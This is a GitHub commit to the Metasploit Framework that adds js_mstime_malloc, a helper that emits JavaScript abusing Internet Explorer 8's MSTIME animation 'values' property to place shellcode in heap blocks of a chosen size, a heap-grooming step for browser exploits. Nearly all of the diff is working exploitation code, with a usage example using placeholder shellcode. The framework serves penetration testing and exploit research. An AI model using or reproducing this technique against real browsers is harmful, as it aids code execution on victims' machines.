Skip to content

Commit 5cfc306

Browse files
author
jvazquez-r7
committed
Land @1785, @wchen-r7's API addition for the mstime ie8 technique
2 parents 567d2bb + 69f8103 commit 5cfc306

File tree

1 file changed

+68
-0
lines changed

1 file changed

+68
-0
lines changed

lib/msf/core/exploit/http/server.rb

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -853,6 +853,74 @@ def js_ajax_download
853853
|
854854
end
855855

856+
857+
#
858+
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
859+
# suitable for a no-spray technique. There should be an allocation that contains an array of
860+
# pointers to strings that we control, and each string should reside in its own buffer.
861+
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
862+
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
863+
# writing style, so make sure you have the following before using:
864+
# * You must have the following at the beginning of your HTML file:
865+
# <!doctype html>
866+
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
867+
# * You must have the following in <meta>:
868+
# <meta>
869+
# <?IMPORT namespace="t" implementation="#default#time2">
870+
# </meta>
871+
#
872+
# The "mstime_malloc" JavaScript function supports the following arguments:
873+
# shellcode => The shellcode to place.
874+
# offset => Optional. The pointer index that points to the shellcode.
875+
# heapBlockSize => Object size.
876+
# objId => The ID to your ANIMATECOLOR element.
877+
#
878+
# Example of using "js_mstime_malloc":
879+
# <script>
880+
# #{js_mstime_malloc}
881+
#
882+
# shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
883+
# offset = 3;
884+
# s = 0x58;
885+
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
886+
# </script>
887+
#
888+
def js_mstime_malloc
889+
%Q|
890+
function mstime_malloc(oArg) {
891+
shellcode = oArg.shellcode;
892+
offset = oArg.offset;
893+
heapBlockSize = oArg.heapBlockSize;
894+
objId = oArg.objId;
895+
896+
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
897+
if (offset == undefined) { offset = 0; }
898+
if (heapBlockSize == undefined) { throw "Size must be defined"; }
899+
900+
buf = "";
901+
for (i=0; i < heapBlockSize/4; i++) {
902+
if (i == offset) {
903+
if (i == 0) { buf += shellcode; }
904+
else { buf += ";" + shellcode; }
905+
}
906+
else {
907+
buf += ";##{Rex::Text.rand_text_hex(6)}";
908+
}
909+
}
910+
911+
e = document.getElementById(objId);
912+
if (e == null) {
913+
eleId = "#{Rex::Text.rand_text_alpha(5)}"
914+
acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
915+
document.body.innerHTML = document.body.innerHTML + acTag;
916+
e = document.getElementById(eleId);
917+
}
918+
try { e.values = buf; }
919+
catch (e) {}
920+
}
921+
|
922+
end
923+
856924
#
857925
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
858926
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's

0 commit comments

Comments
 (0)